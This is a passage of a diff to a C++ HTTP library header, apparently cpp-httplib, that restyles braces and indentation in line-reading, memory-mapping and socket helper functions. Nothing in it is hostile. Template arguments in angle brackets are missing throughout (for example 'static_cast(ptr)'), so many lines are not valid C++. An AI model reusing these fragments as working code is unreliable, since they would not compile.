(glowable_buffer_.empty()) { - return fixed_buffer_; - } else { - return glowable_buffer_.data(); - } -} - -inline size_t stream_line_reader::size() const { - if (glowable_buffer_.empty()) { - return fixed_buffer_used_size_; - } else { - return glowable_buffer_.size(); - } -} - -inline bool stream_line_reader::end_with_crlf() const { - auto end = ptr() + size(); - return size() >= 2 && end[-2] == '\r' && end[-1] == '\n'; -} - -inline bool stream_line_reader::getline() { - fixed_buffer_used_size_ = 0; - glowable_buffer_.clear(); - - for (size_t i = 0;; i++) { - char byte; - auto n = strm_.read(&byte, 1); - - if (n < 0) { - return false; - } else if (n == 0) { - if (i == 0) { - return false; - } else { - break; - } - } - - append(byte); - - if (byte == '\n') { break; } - } - - return true; -} - -inline void stream_line_reader::append(char c) { - if (fixed_buffer_used_size_ < fixed_buffer_size_ - 1) { - fixed_buffer_[fixed_buffer_used_size_++] = c; - fixed_buffer_[fixed_buffer_used_size_] = '\0'; - } else { +inline const char *stream_line_reader::ptr() const +{ if (glowable_buffer_.empty()) { - assert(fixed_buffer_[fixed_buffer_used_size_] == '\0'); - glowable_buffer_.assign(fixed_buffer_, fixed_buffer_used_size_); + return fixed_buffer_; + } else { + return glowable_buffer_.data(); + } +} + +inline size_t stream_line_reader::size() const +{ + if (glowable_buffer_.empty()) { + return fixed_buffer_used_size_; + } else { + return glowable_buffer_.size(); + } +} + +inline bool stream_line_reader::end_with_crlf() const +{ + auto end = ptr() + size(); + return size() >= 2 && end[-2] == '\r' && end[-1] == '\n'; +} + +inline bool stream_line_reader::getline() +{ + fixed_buffer_used_size_ = 0; + glowable_buffer_.clear(); + + for (size_t i = 0;; i++) { + char byte; + auto n = strm_.read(&byte, 1); + + if (n < 0) { + return false; + } else if (n == 0) { + if (i == 0) { + return false; + } else { + break; + } + } + + append(byte); + + if (byte == '\n') { + break; + } + } + + return true; +} + +inline void stream_line_reader::append(char c) +{ + if (fixed_buffer_used_size_ < fixed_buffer_size_ - 1) { + fixed_buffer_[fixed_buffer_used_size_++] = c; + fixed_buffer_[fixed_buffer_used_size_] = '\0'; + } else { + if (glowable_buffer_.empty()) { + assert(fixed_buffer_[fixed_buffer_used_size_] == '\0'); + glowable_buffer_.assign(fixed_buffer_, fixed_buffer_used_size_); + } + glowable_buffer_ += c; } - glowable_buffer_ += c; - } } inline mmap::mmap(const char *path) @@ -2653,346 +2898,399 @@ inline mmap::mmap(const char *path) #else : fd_(-1) #endif - , - size_(0), addr_(nullptr) { - open(path); + , + size_(0), addr_(nullptr) +{ + open(path); } -inline mmap::~mmap() { close(); } +inline mmap::~mmap() +{ + close(); +} -inline bool mmap::open(const char *path) { - close(); +inline bool mmap::open(const char *path) +{ + close(); #if defined(_WIN32) - hFile_ = ::CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, - OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + hFile_ = ::CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (hFile_ == INVALID_HANDLE_VALUE) { return false; } + if (hFile_ == INVALID_HANDLE_VALUE) { + return false; + } - size_ = ::GetFileSize(hFile_, NULL); + size_ = ::GetFileSize(hFile_, NULL); - hMapping_ = ::CreateFileMapping(hFile_, NULL, PAGE_READONLY, 0, 0, NULL); + hMapping_ = ::CreateFileMapping(hFile_, NULL, PAGE_READONLY, 0, 0, NULL); - if (hMapping_ == NULL) { - close(); - return false; - } + if (hMapping_ == NULL) { + close(); + return false; + } - addr_ = ::MapViewOfFile(hMapping_, FILE_MAP_READ, 0, 0, 0); + addr_ = ::MapViewOfFile(hMapping_, FILE_MAP_READ, 0, 0, 0); #else - fd_ = ::open(path, O_RDONLY); - if (fd_ == -1) { return false; } + fd_ = ::open(path, O_RDONLY); + if (fd_ == -1) { + return false; + } - struct stat sb; - if (fstat(fd_, &sb) == -1) { - close(); - return false; - } - size_ = static_cast(sb.st_size); + struct stat sb; + if (fstat(fd_, &sb) == -1) { + close(); + return false; + } + size_ = static_cast(sb.st_size); - addr_ = ::mmap(NULL, size_, PROT_READ, MAP_PRIVATE, fd_, 0); + addr_ = ::mmap(NULL, size_, PROT_READ, MAP_PRIVATE, fd_, 0); #endif - if (addr_ == nullptr) { - close(); - return false; - } + if (addr_ == nullptr) { + close(); + return false; + } - return true; + return true; } -inline bool mmap::is_open() const { return addr_ != nullptr; } +inline bool mmap::is_open() const +{ + return addr_ != nullptr; +} -inline size_t mmap::size() const { return size_; } +inline size_t mmap::size() const +{ + return size_; +} -inline const char *mmap::data() const { return (const char *)addr_; } +inline const char *mmap::data() const +{ + return (const char *)addr_; +} -inline void mmap::close() { +inline void mmap::close() +{ #if defined(_WIN32) - if (addr_) { - ::UnmapViewOfFile(addr_); - addr_ = nullptr; - } + if (addr_) { + ::UnmapViewOfFile(addr_); + addr_ = nullptr; + } - if (hMapping_) { - ::CloseHandle(hMapping_); - hMapping_ = NULL; - } + if (hMapping_) { + ::CloseHandle(hMapping_); + hMapping_ = NULL; + } - if (hFile_ != INVALID_HANDLE_VALUE) { - ::CloseHandle(hFile_); - hFile_ = INVALID_HANDLE_VALUE; - } + if (hFile_ != INVALID_HANDLE_VALUE) { + ::CloseHandle(hFile_); + hFile_ = INVALID_HANDLE_VALUE; + } #else - if (addr_ != nullptr) { - munmap(addr_, size_); - addr_ = nullptr; - } + if (addr_ != nullptr) { + munmap(addr_, size_); + addr_ = nullptr; + } - if (fd_ != -1) { - ::close(fd_); - fd_ = -1; - } + if (fd_ != -1) { + ::close(fd_); + fd_ = -1; + } #endif - size_ = 0; + size_ = 0; } -inline int close_socket(socket_t sock) { +inline int close_socket(socket_t sock) +{ #ifdef _WIN32 - return closesocket(sock); + return closesocket(sock); #else - return close(sock); + return close(sock); #endif } -template inline ssize_t handle_EINTR(T fn) { - ssize_t res = 0; - while (true) { - res = fn(); - if (res < 0 && errno == EINTR) { continue; } - break; - } - return res; +template inline ssize_t handle_EINTR(T fn) +{ + ssize_t res = 0; + while (true) { + res = fn(); + if (res < 0 && errno == EINTR) { + continue; + } + break; + } + return res; } -inline ssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags) { - return handle_EINTR([&]() { - return recv(sock, +inline ssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags) +{ + return handle_EINTR([&]() { + return recv(sock, #ifdef _WIN32 - static_cast(ptr), static_cast(size), + static_cast(ptr), static_cast(size), #else - ptr, size, + ptr, size, #endif - flags); - }); + flags); + }); } inline ssize_t send_socket(socket_t sock, const void *ptr, size_t size, - int flags) { - return handle_EINTR([&]() { - return send(sock, + int flags) +{ + return handle_EINTR([&]() { + return send(sock, #ifdef _WIN32 - static_cast(ptr), static_cast(size), + static_cast(ptr), static_cast(size), #else - ptr, size, + ptr, size, #endif - flags); - }); + flags); + }); } -inline ssize_t select_read(socket_t sock, time_t sec, time_t usec) { +inline ssize_t select_read(socket_t sock, time_t sec, time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLIN; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLIN; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + return handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return 1; } + if (sock >= FD_SETSIZE) { + return 1; + } #endif - fd_set fds; - FD_ZERO(&fds); - FD_SET(sock, &fds); + fd_set fds; + FD_ZERO(&fds); + FD_SET(sock, &fds); - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - return handle_EINTR([&]() { - return select(static_cast(sock + 1), &fds, nullptr, nullptr, &tv); - }); + return handle_EINTR([&]() { + return select(static_cast(sock + 1), &fds, nullptr, nullptr, &tv); + }); #endif } -inline ssize_t select_write(socket_t sock, time_t sec, time_t usec) { +inline ssize_t select_write(socket_t sock, time_t sec, time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLOUT; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLOUT; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + return handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return 1; } + if (sock >= FD_SETSIZE) { + return 1; + } #endif - fd_set fds; - FD_ZERO(&fds); - FD_SET(sock, &fds); + fd_set fds; + FD_ZERO(&fds); + FD_SET(sock, &fds); - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - return handle_EINTR([&]() { - return select(static_cast(sock + 1), nullptr, &fds, nullptr, &tv); - }); + return handle_EINTR([&]() { + return select(static_cast(sock + 1), nullptr, &fds, nullptr, &tv); + }); #endif } inline Error wait_until_socket_is_ready(socket_t sock, time_t sec, - time_t usec) { + time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLIN | POLLOUT; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLIN | POLLOUT; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - auto poll_res = handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + auto poll_res = handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); - if (poll_res == 0) { return Error::ConnectionTimeout; } + if (poll_res == 0) { + return Error::ConnectionTimeout; + } - if (poll_res > 0 && pfd_read.revents & (POLLIN | POLLOUT)) { - auto error = 0; - socklen_t len = sizeof(error); - auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, - reinterpret_cast(&error), &len); - auto successful = res >= 0 && !error; - return successful ? Error::Success : Error::Connection; - } + if (poll_res > 0 && pfd_read.revents & (POLLIN | POLLOUT)) { + auto error = 0; + socklen_t len = sizeof(error); + auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, + reinterpret_cast(&error), &len); + auto successful = res >= 0 && !error; + return successful ? Error::Success : Error::Connection; + } - return Error::Connection; + return Error::Connection; #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return Error::Connection; } + if (sock >= FD_SETSIZE) { + return Error::Connection; + } #endif - fd_set fdsr; - FD_ZERO(&fdsr); - FD_SET(sock, &fdsr); + fd_set fdsr; + FD_ZERO(&fdsr); + FD_SET(sock, &fdsr); - auto fdsw = fdsr; - auto fdse = fdsr; + auto fdsw = fdsr; + auto fdse = fdsr; - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - auto ret = handle_EINTR([&]() { - return select(static_cast(sock + 1), &fdsr, &fdsw, &fdse, &tv); - }); + auto ret = handle_EINTR([&]() { + return select(static_cast(sock + 1), &fdsr, &fdsw, &fdse, &tv); + }); - if (ret == 0) { return Error::ConnectionTimeout; } + if (ret == 0) { + return Error::ConnectionTimeout; + } - if (ret > 0 && (FD_ISSET(sock, &fdsr) || FD_ISSET(sock, &fdsw))) { - auto error = 0; - socklen_t len = sizeof(error); - auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, - reinterpret_cast(&error), &len); - auto successful = res >= 0 && !error; - return successful ? Error::Success : Error::Connection; - } - return Error::Connection; + if (ret > 0 && (FD_ISSET(sock, &fdsr) || FD_ISSET(sock, &fdsw))) { + auto error = 0; + socklen_t len = sizeof(error); + auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, + reinterpret_cast(&error), &len); + auto successful = res >= 0 && !error; + return successful ? Error::Success : Error::Connection; + } + return Error::Connection; #endif } -inline bool is_socket_alive(socket_t sock) { - const auto val = detail::select_read(sock, 0, 0); - if (val == 0) { - return true; - } else if (val < 0 && errno == EBADF) { - return false; - } - char buf[1]; - return detail::read_socket(sock, &buf[0], sizeof(buf), MSG_PEEK) > 0; +inline bool is_socket_alive(socket_t sock) +{ + const auto val = detail::select_read(sock, 0, 0); + if (val == 0) { + return true; + } else if (val < 0 && errno == EBADF) { + return false; + } + char buf[1]; + return detail::read_socket(sock, &buf[0], sizeof(buf), MSG_PEEK) > 0; } -class SocketStream : public Stream { +class SocketStream : public Stream +{ public: - SocketStream(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, - time_t write_timeout_sec, time_t write_timeout_usec); - ~SocketStream() override; + SocketStream(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, + time_t write_timeout_sec, time_t write_timeout_usec); + ~SocketStream() override; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; private: - socket_t sock_; - time_t read_timeout_sec_; - time_t read_timeout_usec_; - time_t write_timeout_sec_; - time_t write_timeout_usec_; + socket_t sock_; + time_t read_timeout_sec_; + time_t read_timeout_usec_; + time_t write_timeout_sec_; + time_t write_timeout_usec_; - std::vector read_buff_; - size_t read_buff_off_ = 0; - size_t read_buff_content_size_ = 0; + std::vector read_buff_; + size_t read_buff_off_ = 0; + size_t read_buff_content_size_ = 0; - static const size_t read_buff_size_ = 1024l * 4; + static const size_t read_buff_size_ = 1024l * 4; }; #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -class SSLSocketStream : public Stream { +class SSLSocketStream : public Stream +{ public: - SSLSocketStream(socket_t sock, SSL *ssl, time_t read_timeout_sec, - time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec); - ~SSLSocketStream() override; + SSLSocketStream(socket_t sock, SSL *ssl, time_t read_timeout_sec, + time_t read_timeout_usec, time_t write_timeout_sec, + time_t write_timeout_usec); + ~SSLSocketStream() override; - bool is_readable() const override; - bool is_writable() const override; - ssize_t read(char *ptr, size_t size) override; - ssize_t write(const char *ptr, size_t size) override; - void get_remote_ip_and_port(std::string &ip, int &port) const override; - void get_local_ip_and_port(std::string &ip, int &port) const override; - socket_t socket() const override; + bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; private: - socket_t sock_; - SSL *ssl_; - time_t read_timeout_sec_; - time_t read_timeout_usec_; - time_t write_timeout_sec_; - time_t write_timeout_usec_; + socket_t sock_; + SSL *ssl_; + time_t read_timeout_sec_; + time_t read_timeout_usec_; + time_t write_timeout_sec_; + time_t write_timeout_usec_; }; #endif -inline bool keep_alive(socket_t sock, time_t keep_alive_timeout_sec) { - using namespace std::chrono; - auto start = steady_clock::now(); - while (true) { - auto val = select_read(sock, 0, 10000); - if (val < 0) { - return false; - } else if (val == 0) { - auto current = steady_clock::now(); - auto duration = duration_cast(current - start); - auto timeout = keep_alive_timeout_sec * 1000; - if (duration.count() > timeout) { return false; } - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - } else { - return true; +inline bool keep_alive(socket_t sock, time_t keep_alive_timeout_sec) +{ + using namespace std::chrono; + auto start = steady_clock::now(); + while (true) { + auto val = select_read(sock, 0, 10000); + if (val < 0) { + return false; + } else if (val == 0) { + auto current = steady_clock::now(); + auto duration = duration_cast(current - start); + auto timeout = keep_alive_timeout_sec * 1000; + if (duration.count() > timeout) { + return false; + } + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + } else { + return true; + } } - } } template inline bool process_server_socket_core(const std::atomic &svr_sock, socket_t sock, size_t keep_alive_max_count, - time_t keep_alive_timeout_sec, T callback) { - assert(keep_alive_max_count > 0); - auto ret = false; - auto count = keep_alive_max_count; - while (svr_sock != INVALID_SOCKET && count > 0 && - keep_alive(sock, keep_alive_timeout_sec)) { - auto close_connection = count == 1; - auto connection_closed = false; - ret = callback(close_connection, connection_closed); - if (!ret || connection_closed) { break; } - count--; - } - return ret; + time_t keep_alive_timeout_sec, T callback) +{ + assert(keep_alive_max_count > 0); + auto ret = false; + auto count = keep_alive_max_count; + while (svr_sock != INVALID_SOCKET && count > 0 && + keep_alive(sock, keep_alive_timeout_sec)) { + auto close_connection = count == 1; + auto connection_closed = false; + ret = callback(close_connection, connection_closed); + if (!ret || connection_closed) { + break; + } + count--; + } + return ret; } template @@ -3001,31 +3299,34 @@ process_server_socket(const std::atomic &svr_sock, socket_t sock, size_t keep_alive_max_count, time_t keep_alive_timeout_sec, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - return process_server_socket_core( - svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, - [&](bool close_connection, bool &connection_closed) { + time_t write_timeout_usec, T callback) +{ + return process_server_socket_core( + svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec, + [&](bool close_connection, bool &connection_closed) { SocketStream strm(sock, read_timeout_sec, read_timeout_usec, write_timeout_sec, write_timeout_usec); return callback(strm, close_connection, connection_closed); - }); + }); } inline bool process_client_socket(socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, time_t write_timeout_usec, - std::function callback) { - SocketStream strm(sock, read_timeout_sec, read_timeout_usec, - write_timeout_sec, write_timeout_usec); - return callback(strm); + std::function callback) +{ + SocketStream strm(sock, read_timeout_sec, read_timeout_usec, + write_timeout_sec, write_timeout_usec); + return callback(strm); } -inline int shutdown_socket(socket_t sock) { +inline int shutdown_socket(socket_t sock) +{ #ifdef _WIN32 - return shutdown(sock, SD_BOTH); + return shutdown(sock, SD_BOTH); #else - return shutdown(sock, SHUT_RDWR); + return shutdown(sock, SHUT_RDWR); #endif } @@ -3033,176 +3334,192 @@ template socket_t create_socket(const std::string &host, const std::string &ip, int port, int address_family, int socket_flags, bool tcp_nodelay, SocketOptions socket_options, - BindOrConnect bind_or_connect) { - // Get address info - const char *node = nullptr; - struct addrinfo hints; - struct addrinfo *result; + BindOrConnect bind_or_connect) +{ + // Get address info + const char *node = nullptr; + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (!ip.empty()) { - node = ip.c_str(); - // Ask getaddrinfo to convert IP in c-string to address - hints.ai_family = AF_UNSPEC; - hints.ai_flags = AI_NUMERICHOST; - } else { - if (!host.empty()) { node = host.c_str(); } - hints.ai_family = address_family; - hints.ai_flags = socket_flags; - } + if (!ip.empty()) { + node = ip.c_str(); + // Ask getaddrinfo to convert IP in c-string to address + hints.ai_family = AF_UNSPEC; + hints.ai_flags = AI_NUMERICHOST; + } else { + if (!host.empty()) { + node = host.c_str(); + } + hints.ai_family = address_family; + hints.ai_flags = socket_flags; + } #ifndef _WIN32 - if (hints.ai_family == AF_UNIX) { - const auto addrlen = host.length(); - if (addrlen > sizeof(sockaddr_un::sun_path)) { return INVALID_SOCKET; } + if (hints.ai_family == AF_UNIX) { + const auto addrlen = host.length(); + if (addrlen > sizeof(sockaddr_un::sun_path)) { + return INVALID_SOCKET; + } - auto sock = socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol); - if (sock != INVALID_SOCKET) { - sockaddr_un addr{}; - addr.sun_family = AF_UNIX; - std::copy(host.begin(), host.end(), addr.sun_path); + auto sock = socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol); + if (sock != INVALID_SOCKET) { + sockaddr_un addr{}; + addr.sun_family = AF_UNIX; + std::copy(host.begin(), host.end(), addr.sun_path); - hints.ai_addr = reinterpret_cast(&addr); - hints.ai_addrlen = static_cast( - sizeof(addr) - sizeof(addr.sun_path) + addrlen); + hints.ai_addr = reinterpret_cast(&addr); + hints.ai_addrlen = static_cast( + sizeof(addr) - sizeof(addr.sun_path) + addrlen); - fcntl(sock, F_SETFD, FD_CLOEXEC); - if (socket_options) { socket_options(sock); } + fcntl(sock, F_SETFD, FD_CLOEXEC); + if (socket_options) { + socket_options(sock); + } - if (!bind_or_connect(sock, hints)) { - close_socket(sock); - sock = INVALID_SOCKET; - } + if (!bind_or_connect(sock, hints)) { + close_socket(sock); + sock = INVALID_SOCKET; + } + } + return sock; } - return sock; - } #endif - auto service = std::to_string(port); + auto service = std::to_string(port); - if (getaddrinfo(node, service.c_str(), &hints, &result)) { + if (getaddrinfo(node, service.c_str(), &hints, &result)) { #if defined __linux__ && !defined __ANDROID__ - res_init(); + res_init(); #endif - return INVALID_SOCKET; - } - - for (auto rp = result; rp; rp = rp->ai_next) { - // Create a socket -#ifdef _WIN32 - auto sock = - WSASocketW(rp->ai_family, rp->ai_socktype, rp->ai_protocol, nullptr, 0, - WSA_FLAG_NO_HANDLE_INHERIT | WSA_FLAG_OVERLAPPED); - /** - * Since the WSA_FLAG_NO_HANDLE_INHERIT is only supported on Windows 7 SP1 - * and above the socket creation fails on older Windows Systems. - * - * Let's try to create a socket the old way in this case. - * - * Reference: - * https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa - * - * WSA_FLAG_NO_HANDLE_INHERIT: - * This flag is supported on Windows 7 with SP1, Windows Server 2008 R2 with - * SP1, and later - * - */ - if (sock == INVALID_SOCKET) { - sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + return INVALID_SOCKET; } + + for (auto rp = result; rp; rp = rp->ai_next) { + // Create a socket +#ifdef _WIN32 + auto sock = + WSASocketW(rp->ai_family, rp->ai_socktype, rp->ai_protocol, nullptr, 0, + WSA_FLAG_NO_HANDLE_INHERIT | WSA_FLAG_OVERLAPPED); + /** + * Since the WSA_FLAG_NO_HANDLE_INHERIT is only supported on Windows 7 SP1 + * and above the socket creation fails on older Windows Systems. + * + * Let's try to create a socket the old way in this case. + * + * Reference: + * https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa + * + * WSA_FLAG_NO_HANDLE_INHERIT: + * This flag is supported on Windows 7 with SP1, Windows Server 2008 R2 with + * SP1, and later + * + */ + if (sock == INVALID_SOCKET) { + sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + } #else - auto sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + auto sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); #endif - if (sock == INVALID_SOCKET) { continue; } + if (sock == INVALID_SOCKET) { + continue; + } #ifndef _WIN32 - if (fcntl(sock, F_SETFD, FD_CLOEXEC) == -1) { - close_socket(sock); - continue; - } + if (fcntl(sock, F_SETFD, FD_CLOEXEC) == -1) { + close_socket(sock); + continue; + } #endif - if (tcp_nodelay) { - auto yes = 1; + if (tcp_nodelay) { + auto yes = 1; #ifdef _WIN32 - setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + reinterpret_cast(&yes), sizeof(yes)); #else - setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, - reinterpret_cast(&yes), sizeof(yes)); + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + reinterpret_cast(&yes), sizeof(yes)); #endif - } + } - if (socket_options) { socket_options(sock); } + if (socket_options) { + socket_options(sock); + } - if (rp->ai_family == AF_INET6) { - auto no = 0; + if (rp->ai_family == AF_INET6) { + auto no = 0; #ifdef _WIN32 - setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, - reinterpret_cast(&no), sizeof(no)); + setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, + reinterpret_cast(&no), sizeof(no)); #else - setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, - reinterpret_cast(&no), sizeof(no)); + setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, + reinterpret_cast(&no), sizeof(no)); #endif + } + + // bind or connect + if (bind_or_connect(sock, *rp)) { + freeaddrinfo(result); + return sock; + } + + close_socket(sock); } - // bind or connect - if (bind_or_connect(sock, *rp)) { - freeaddrinfo(result); - return sock; - } - - close_socket(sock); - } - - freeaddrinfo(result); - return INVALID_SOCKET; + freeaddrinfo(result); + return INVALID_SOCKET; } -inline void set_nonblocking(socket_t sock, bool nonblocking) { +inline void set_nonblocking(socket_t sock, bool nonblocking) +{ #ifdef _WIN32 - auto flags = nonblocking ? 1UL : 0UL; - ioctlsocket(sock, FIONBIO, &flags); + auto flags = nonblocking ? 1UL : 0UL; + ioctlsocket(sock, FIONBIO, &flags); #else - auto flags = fcntl(sock, F_GETFL, 0); - fcntl(sock, F_SETFL, - nonblocking ? (flags | O_NONBLOCK) : (flags & (~O_NONBLOCK))); + auto flags = fcntl(sock, F_GETFL, 0); + fcntl(sock, F_SETFL, + nonblocking ? (flags | O_NONBLOCK) : (flags & (~O_NONBLOCK))); #endif } -inline bool is_connection_error() { +inline bool is_connection_error() +{ #ifdef _WIN32 - return WSAGetLastError() != WSAEWOULDBLOCK; + return WSAGetLastError() != WSAEWOULDBLOCK; #else - return errno != EINPROGRESS; + return errno != EINPROGRESS; #endif } -inline bool bind_ip_address(socket_t sock, const std::string &host) { - struct addrinfo hints; - struct addrinfo *result; +inline bool bind_ip_address(socket_t sock, const std::string &host) +{ + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (getaddrinfo(host.c_str(), "0", &hints, &result)) { return false; } - - auto ret = false; - for (auto rp = result; rp; rp = rp->ai_next) { - const auto &ai = *rp; - if (!::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { - ret = true; - break; + if (getaddrinfo(host.c_str(), "0", &hints, &result)) { + return false; } - } - freeaddrinfo(result); - return ret; + auto ret = false; + for (auto rp = result; rp; rp = rp->ai_next) { + const auto &ai = *rp; + if (!::bind(sock, ai.ai_addr, static_cast(ai.ai_addrlen))) { + ret = true; + break; + } + } + + freeaddrinfo(result); + return ret; } #if !defined _WIN32 && !defined ANDROID && !defined _AIX && !defined __MVS__ @@ -3210,41 +3527,42 @@ inline bool bind_ip_address(socket_t sock, const std::string &host) { #endif #ifdef USE_IF2IP -inline std::string if2ip(int address_family, const std::string &ifn) { - struct ifaddrs *ifap; - getifaddrs(&ifap); - std::string addr_candidate; - for (auto ifa = ifap; ifa; ifa = ifa->ifa_next) { - if (ifa->ifa_addr && ifn == ifa->ifa_name && - (AF_UNSPEC == address_family || - ifa->ifa_addr->sa_family == address_family)) { - if (ifa->ifa_addr->sa_family == AF_INET) { - auto sa = reinterpret_cast(ifa->ifa_addr); - char buf[INET_ADDRSTRLEN]; - if (inet_ntop(AF_INET, &sa->sin_addr, buf, INET_ADDRSTRLEN)) { - freeifaddrs(ifap); - return std::string(buf, INET_ADDRSTRLEN); - } - } else if (ifa->ifa_addr->sa_family == AF_INET6) { - auto sa = reinterpret_cast(ifa->ifa_addr); - if (!IN6_IS_ADDR_LINKLOCAL(&sa->sin6_addr)) { - char buf[INET6_ADDRSTRLEN] = {}; - if (inet_ntop(AF_INET6, &sa->sin6_addr, buf, INET6_ADDRSTRLEN)) { - // equivalent to mac's IN6_IS_ADDR_UNIQUE_LOCAL - auto s6_addr_head = sa->sin6_addr.s6_addr[0]; - if (s6_addr_head == 0xfc || s6_addr_head == 0xfd) { - addr_candidate = std::string(buf, INET6_ADDRSTRLEN); - } else { - freeifaddrs(ifap); - return std::string(buf, INET6_ADDRSTRLEN); +inline std::string if2ip(int address_family, const std::string &ifn) +{ + struct ifaddrs *ifap; + getifaddrs(&ifap); + std::string addr_candidate; + for (auto ifa = ifap; ifa; ifa = ifa->ifa_next) { + if (ifa->ifa_addr && ifn == ifa->ifa_name && + (AF_UNSPEC == address_family || + ifa->ifa_addr->sa_family == address_family)) { + if (ifa->ifa_addr->sa_family == AF_INET) { + auto sa = reinterpret_cast(ifa->ifa_addr); + char buf[INET_ADDRSTRLEN]; + if (inet_ntop(AF_INET, &sa->sin_addr, buf, INET_ADDRSTRLEN)) { + freeifaddrs(ifap); + return std::string(buf, INET_ADDRSTRLEN); + } + } else if (ifa->ifa_addr->sa_family == AF_INET6) { + auto sa = reinterpret_cast(ifa->ifa_addr); + if (!IN6_IS_ADDR_LINKLOCAL(&sa->sin6_addr)) { + char buf[INET6_ADDRSTRLEN] = {}; + if (inet_ntop(AF_INET6, &sa->sin6_addr, buf, INET6_ADDRSTRLEN)) { + // equivalent to mac's IN6_IS_ADDR_UNIQUE_LOCAL + auto s6_addr_head = sa->sin6_addr.s6_addr[0]; + if (s6_addr_head == 0xfc || s6_addr_head == 0xfd) { + addr_candidate = std::string(buf, INET6_ADDRSTRLEN); + } else 